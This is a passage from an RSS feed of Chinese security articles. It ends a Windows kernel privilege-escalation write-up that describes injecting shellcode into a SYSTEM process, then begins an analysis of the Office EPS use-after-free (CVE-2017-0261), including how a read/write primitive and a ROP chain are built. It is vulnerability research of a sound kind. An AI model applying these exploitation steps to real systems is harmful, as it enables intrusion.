*)0xffffb80008ddb0a0))                 [Type: _SEP_TOKEN_PRIVILEGES]<br/>    [+0x000] Present          : 0x60279c000 [Type: unsigned __int64]<br/>    [+0x008] Enabled          : 0x7ffdf0 [Type: unsigned __int64]<br/>    [+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>11. shellcode注入<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">到此为止，我们已经成功获取到了SeDebugPrivilege权限</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dt _token ffff8b81`b54f8830<br/>    .................................<br/> 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled <br/>  15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled <br/>  16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled <br/>  19 0x000000013 SeShutdownPrivilege               Attributes - Enabled <br/>  20 0x000000014 SeDebugPrivilege                  Attributes - Enabled <br/>  21 0x000000015 SeAuditPrivilege                  Attributes - Enabled <br/>  22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled <br/>  25 0x000000019 SeUndockPrivilege                 Attributes - <br/>  33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - <br/>  34 0x000000022 SeTimeZonePrivilege               Attributes - <br/>  ..................................<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时我们就可以打开任意SYSTEM权限进程，并注入shellcode实现弹出一个SYSTEM权限的shell。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000628" data-ratio="0.43937823834196893" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="965" src="https://wechat2rss.xlab.app/img-proxy/?k=fae9333b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcTYFwJ10GhswxtSxt8yl31WC9KRpw5RzO1z8ibFoPm4RTRClNYlDWT6g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure></section>



<p><a href="2247484343">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6b34fdd9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484343%26idx%3D1%26sn%3D1d51e488070dc925e35e2773bd0105db%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 18 Oct 2021 21:03:00 +0800</pubDate>
    </item>
    <item>
      <title>Office EPS文件解析漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484109&amp;idx=1&amp;sn=8dfa5ad3c00a6a097823efa44a79a395</link>
      <description>对Office EPS文件解析漏洞成因和利用分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2021-09-07 12:46</span> <span style="display: inline-block;"></span>
</p>

<p>对Office EPS文件解析漏洞成因和利用分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2a2f985c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaIr1VBo0RkwrLmykSrVetd7kQJ4b0s6XrpuG75UCpEUNUHYP13Nenbg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>前言</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一次分析 EPS 类漏洞，对于 PostScript 格式十分陌生，通过查阅<span style="text-decoration: underline;color: rgb(0, 128, 255);">PostScript LANGUAGE REFERENCE</span>了解 PostScript 格式。调试 EXP 来自 kcufld 师傅的<span style="color: rgb(0, 128, 255);text-decoration: underline;">eps-CVE-2017-0261</span>，EXP 在 Office 2007 可以正常运行，但在 Office 2010 以上版本需要配合提权漏洞逃逸沙箱后完成利用。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>调试环境<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调试是直接使用 kcufld 师傅的 eps 加载器进行调试，EPSIMP32.FLT 版本信息如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArP7lp4chibx7m32DoeIia6ZzibfVmuKcObH4StpSKCHko2HiaK6KRsDBm8p9zP01YibqdfC5tOTro0vpfr/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">OS:               Win7 x64 SP1<br/>Office:           Ofiice 2007 x86<br/>Image name:       EPSIMP32.FLT<br/>ImageSize:        0x0006E000<br/>File version:     2006.1200.4518.1014<br/>Product version:  2006.1200.4518.0<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>PostScript 格式简介<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">先介绍下 PostScript 基本的数据结构：</p><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">SIMPLE OBJECTS</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">COMPOSITE OBJECTS</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">boolean</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">array</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">fontID</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">dictionary</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">integer</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">file</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">mark</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">gstate</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">name</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">packedarray</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">null</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">save</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">operator</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">string</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">real</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><br/></td></tr></tbody></table></section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">左侧为简单对象，右侧为复合对象。简单对象都是原子实体，类型、属性和值不可逆转地结合在一起，不能改变。但复合对象的值与对象本身是分开的，对象本身存储于 dict 对象中，具体的结构如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArP7lp4chibx7m32DoeIia6ZzibfVmuKcObH4StpSKCHko2HiaK6KRsDBm8p9zP01YibqdfC5tOTro0vpfr/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">// PostScript Object<br/>struct PostScript object<br/>{<br/>    dword    <span style="color: #e6c07b;line-height: 26px;">type</span>;  //对象类型<br/>    dword    attr;<br/>    dword    value1; //指向对象所属变量名称<br/>    dword    value2; //若为简单对象，直接指向值；若为复合对象，指向存储的值的结构<br/>}ps_obj;<br/>//字典‘key-value’对象的定义<br/>struct Dictionary_key_value {<br/>    dword *pNext; //指向存放PostScript Object的地址<br/>    dword dwIndex;<br/>    ps_obj key;<br/>    ps_obj value;<br/>} dict_kv;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其中部分 type 的值与类型的映射如下：</p><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">type 值</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);text-align: left;background-color: rgb(240, 240, 240);min-width: 85px;">数据类型</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x0</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">nulltype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x3</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">integertype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x5</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">realtype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x8</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">booleantype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x10</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">operatortype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x20</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">marktype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x40</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">savetype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x300</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">nametype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x500</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">stringtype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x900</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">filetype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x30000</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">arraytype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x70000</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">packedarraytype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x0B0000</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">packedarraytype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x110000</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">dicttype</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">0x210000</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">gstatetype</td></tr></tbody></table></section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着介绍下漏洞中使用到的比较关键的操作符的意义：</p><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: left;">操作符</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: left;">示例</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: left;">解析</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">forall</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">array proc forall</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">枚举第一个操作数的元素，为每个元素执行过程 proc。如果第一个操作数是数组、压缩数组或字符串对象，则 forall 将一个元素压入操作数堆栈，并对对象中的每个元素执行 proc，从索引为 0 的元素开始并依次执行。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">dup</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">any dup ---&gt; any any</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">复制操作数堆栈上的顶部元素。dup 只复制对象；复合对象的值不是复制而是共享的。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">putinterval</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">array1 index array2 putinterval</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">用第三个操作数的全部内容替换第一个操作数的元素的子序列。被替换的子序列从第一个操作数的 index 开始；它的长度与第三个操作数的长度相同。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">put/get</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">array index any put/get</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">替换/获取第一个操作数的一个元素的值。如果第一个操作数是一个数组或一个字符串，put/get 将第二个操作数视为一个索引，并将第三个操作数存储在索引所确定的位置，从 0 开始计算。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">save</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">/save save</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">保存当前 VM 状态快照，一个快照只能使用一次。</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;">restore</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">save restore</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;">丢弃本地 VM 中自相应保存以来创建的所有对象，并回收它们占用的内存；将本地 VM 中所有复合对象的值（字符串除外）重置为保存时的状态；关闭自相应保存以来打开的文件，只要这些文件在 local VM 分配模式有效时打开。</td></tr></tbody></table></section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">了解了上述背景后，开始分析漏洞。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>漏洞成因<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过使用 forall 操作符获取创建的字符串对象，并在第一次循环时使用 restore 操作符释放字符串对象，随后创建新的字符串对象使得原本存储旧字符串对象的结构被新复合对象代替。若故意构造大小为 0x27 的字符串对象，则字符串被释放后会多出 0x28 的内存空间，此时立即创建新的字符串对象，则该内存会用来存储指向新字符串的 string 结构。随后通过改变 forall 的函数，获取指向新字符串的结构。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">漏洞文件中一共触发了三次漏洞，第一次是获取了被释放的 string 的字符用于判断系统是 32 位还是 64 位。第二次触发故意构造大小为 0x27 的 string 对象，用于获取指向恶意 string 的结构。第三次则利用第二次构造的特殊 string 结构创造了一个起始地址为 0x00000000，大小为 0x7fffffff 的字符串，构造了能够读写任意地址内存的读写原语。接着利用读写原语搜索内存中函数地址构造 ROP 链。最终创建了一个文件对象，在调用 closefile 操作符时跳转执行 ROP 完成漏洞利用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看 poc.eps 文件，第一次调用 forall 如图所示：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3853028798411122" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=23936572&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPazVZiaEeZ3Iat89HG1NpVvcDdffYgy0IF4kpJXBxlqD6iaZGkwTWibb9ibA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 ida 中定位到 forall 操作符的代码：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3224101479915433" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=bab43881&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaxp5PTiawGexDic5ptGbMYCwnnruPMfOiabHB4ek9GXAwsQyGsxw4ngykw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用 windbg 找到对应偏移后下断：<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sxe ld EPSIMP32;g;bp EPSIMP32+2b928;g;</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2232258064516129" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="775" src="https://wechat2rss.xlab.app/img-proxy/?k=33e639ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaOceGEDBicL36ZiaFsjGkaTbQ2dia9syzy9QymCIbeM0SEXeqZutqEOfCw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">运行到图中所示位置时查看 edi 的值，指向了 forall 的 dict 对象，接着查看*pnext，发现存储了两个对象，第一个为 string l63，第二个为 array l61</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.375186846038864" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="669" src="https://wechat2rss.xlab.app/img-proxy/?k=25303175&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPat2uVqZcNPpyhlRLTNjoN5dibDichibfAKTu7WucLStnIlpmzgJbJ6wzNg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续分析，会获取 l63 和 l61 对象到栈中，并确认 l63 的类型为 string 后，跳转到获取 string 类型元素部分</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.1711864406779662" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="590" src="https://wechat2rss.xlab.app/img-proxy/?k=05d77154&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa7F7RNsycxU8iarxGNRt7JgbeuiaFnZujbqEcBN9L4S2eDLYAfqtRkF0w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">获取值的过程会因为 type 的不同而有所变化，具体如图所示：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.41424802110817943" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1516" src="https://wechat2rss.xlab.app/img-proxy/?k=c596f0ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaR162b1qzo6uB7RyrZYBbkk6FcB1d0IW5XInfRGWWQsfaEcEgLd2ibJw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过调试可以更加直观的看到通过 value2 获取 string 的方式：</p><figure 